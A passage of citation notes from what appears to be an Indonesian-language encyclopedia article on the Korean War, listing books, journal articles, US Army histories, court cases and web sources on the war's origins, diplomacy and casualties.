  23. ^For Freedom”, TIME, 20 Mei 1946. Diakses pada 10 Desember 2008Kutipan: Rightist groups in the American zone, loosely amalgamated in the Representative Democratic Council under elder statesman Syngman Rhee, protested heatedly ....
  24. ^ "The Failure of Trusteeship". infoKorea. http://myhome.shinbiro.com/~mss1/failure.html. Diakses pada 10 Desember 2008. 
  25. ^ "Korea Notes from Memoirs by Harry S. Truman". The US War Against Asia (notes). III Publishing. http://www.mcn.org/e/iii/politics/asian_war/korea_truman_notes.html. Diakses pada 10 Desember 2008. "U.S. proposed general elections (U.S. style) but Russia insisted on Moscow Agreement." 
  26. ^ a b "The Korean War, The US and Soviet Union in Korea". MacroHistory. http://www.fsmitha.com/h2/ch24kor.html. Diakses pada 19 Agustus 2007. 
  27. ^ Langill, Richard. "Korea 1949-1953". http://homepages.stmartin.edu/fac_staff/rlangill/PLS%20310/Korea%201949-Isaac.htm. Diakses pada 7 November 2009. 
  28. ^ Shen, Zhihua (2007年第05期). "斯大林、毛泽东与朝鲜战争再议" (dalam bahasa Chinese). 《史学集刊》 (吉林大学: 中华人民共和国教育部 吉林大学《史学集刊》编辑部) (2007年第05期). ISSN 0559-8095 ISSN 0559-8095. http://qkzz.net/magazine/0559-8095/2007/05/1688254_8.htm. 
  29. ^ Malkasian, Carter (2001). The Korean War: Essential Histories. Osprey Publishing. hlm. 16. 
  30. ^ Statement by the Deputy Minister of Foreign Affairs of the USSR, July 4, 1950
  31. ^ Leo Gross, "Voting in the Security Council: Abstention from Voting and Absence from Meetings", The Yale Law Journal, Vol. 60, No. 2 (Feb., 1951), pp. 209–57.
  32. ^ F. B. Schick, "Videant Consules", The Western Political Quarterly, Vol. 3, No. 3 (Sep., 1950), pp. 311–25.
  33. ^ Korea: The Untold Story of the War, Joseph C. Goulden (1982) p. 48.
  34. ^ Hess, Gary R. Presidential Decisions for War : Korea, Vietnam and the Persian Gulf. New York: Johns Hopkins UP, 2001.
  35. ^ Graebner, Norman A. The Age of Global Power: The United States Since 1939. Vol. V3641. New York: John Wiley & Sons, 1979.
  36. ^ Truman, Harry S. The Autobiography of Harry S. Truman. Ed. Robert H. Ferrell. New York: University P of Colorado, 1981. 1955.
  37. ^ a b Hess, Gary R. Presidential Decisions for War: Korea, Vietnam and the Persian Gulf New York: Johns Hopkins UP, 2001.
  38. ^ Korea: The Limited War|Rees|David |1964|MacMillan|London|hal. 27.
  39. ^ http://www.first-team.us/journals/1stndx03.html
  40. ^ a b c Schnabel, James F (1992). United States Army In The Korean War: Policy And Direction: The First Year. Center of Military History. hlm. 155–92, 212, 283–4, 288–9, 304. ISBN 0-16-035955-4. http://www.army.mil/cmh/books/P&D.HTM. 
  41. ^ http://history.sandiego.edu/GEN/20th/korea.html
  42. ^ Another Such Victory: President Truman and the Cold War, 1945–1953, p. 390 (2002) Stanford University Press, ISBN 0-8047-4774-1.
  43. ^ Chen Jian, China’s Road to the Korean War, p. 184.
  44. ^ Communist China’s Changing Attitudes Toward the United Nations, International Organization, Vol. 20, No.4 (Autumn 1966), pp. 677–704.
  45. ^ Halberstam, David (2007). The Coldest Winter: America and the Korean War. New York: Hyperion. hlm. 361. ISBN 9781401300524. 
  46. ^ Cumings, Bruce (2005). Korea's Place in the Sun : A Modern History. New York: W. W. Norton & Company. hlm. 266. ISBN 0393327027. 
  47. ^ Chinese Military Science Academy (Sept. 2000). History of War to Resist America and Aid Korea (抗美援朝战争史). Volume I. Beijing: Chinese Military Science Academy Publishing House. hlm. 160. ISBN 7-80137-390-1. 
  48. ^ Donovan, Robert J (1996). Tumultuous Years: The Presidency of Harry S. Truman 1949-1953. University of Missouri Press. hlm. 285. ISBN 0826210856. 
  49. ^ "The Korean War: The Chinese Intervention". US Army. http://www.history.army.mil/brochures/kw-chinter/chinter.htm. 
  50. ^ Cohen, Eliot A (2005). Military Misfortunes: The Anatomy of Failure in War. Free Press. hlm. 165–195. ISBN 0743280822. 
  51. ^ Hopkins, William (1986). One Bugle No Drums: The Marines at Chosin Reservoir. Algonquin. 
  52. ^ Rear Admiral Doyle, James H; Mayer, Arthur J (April 1979), "December 1950 at Hungnam", U.S. Naval Institute Proceedings vol. 105 (no. 4): 44–65 .
  53. ^ Espinoza-Castro v. I.N.S., 242 F.3d 1181, 30 (2001).
  54. ^ See 50 U.S.C. S 1601: “All powers and authorities possessed by the President, any other officer or employee of the Federal Government, or any executive agency ... as a result of the existence of any declaration of national emergency in effect on September 14, 1976 are terminated two years from September 14, 1976.”; Jolley v. INS, 441 F.2d 1245, 1255 n.17 (5th Cir. 1971) (noting that Presidential Proclamation No. 2914 established a state of national emergency still valid in 1967).
  55. ^ Reminiscences- MacArthur, Douglas.
  56. ^ Korea Institute of Military History (2000). The Korean War: Korea Institute of Military History 3 Volume Set. Bison Books, University of Nebraska Press. vol. 1, p. 730, vol. 2, hal. 512–529. ISBN 0803277946. 
  57. ^ Boose, Donald W., Jr. (Spring 2000). "Fighting While Talking: The Korean War Truce Talks". OAH Magazine of History. Organization of American Historians. http://www.oah.org/pubs/magazine/korea/boose.html. Diakses pada 7 November 2009. ""...the UNC advised that only 70,000 out of over 170,000 North Korean and Chinese prisoners desired repatriation."" 
  58. ^ Hamblen, A.L.. "Korean War Educator: United Nations: Command Repatriation Group". Korean War Educator. http://www.koreanwar-educator.org/topics/united_nations/uncreg/index.htm. Diakses pada 7 November 2009. 
  59. ^ "Syngman Rhee Biography: Rhee Attacks Peace Proceedings". Korean War Commemoration Biographies. http://korea50.army.mil/history/biographies/rhee.shtml. Diakses pada 22 Agustus 2007. 
  60. ^ "Operation Glory". Army Quartermaster Museum, US Army. http://www.qmmuseum.lee.army.mil/korea/op_glory.htm. Diakses pada 16 Desember 2007. 
  61. ^ DPMO White Paper - Punch Bowl 239.
  62. ^ JPAC Wars And Conflicts.
  63. ^ "North Korean Democide: Sources, Calculations and Estimates". http://www.hawaii.edu/powerkills/SOD.TAB10.1.GIF. Diakses pada 25 April 2009. 
  64. ^ "U.S. death toll from Korean War revised downward, Time reports". CNN. 4 Juni 2000. http://archives.cnn.com/2000/US/06/04/korea.deaths/.

mencoba menggunakan zram di raspberry pi

saya beberapa hari yang lalu mencoba mengaktifkan zram untuk membuat cadangan jika ram udah hampir penuh untuk dipindah ke zram, sejauh ini...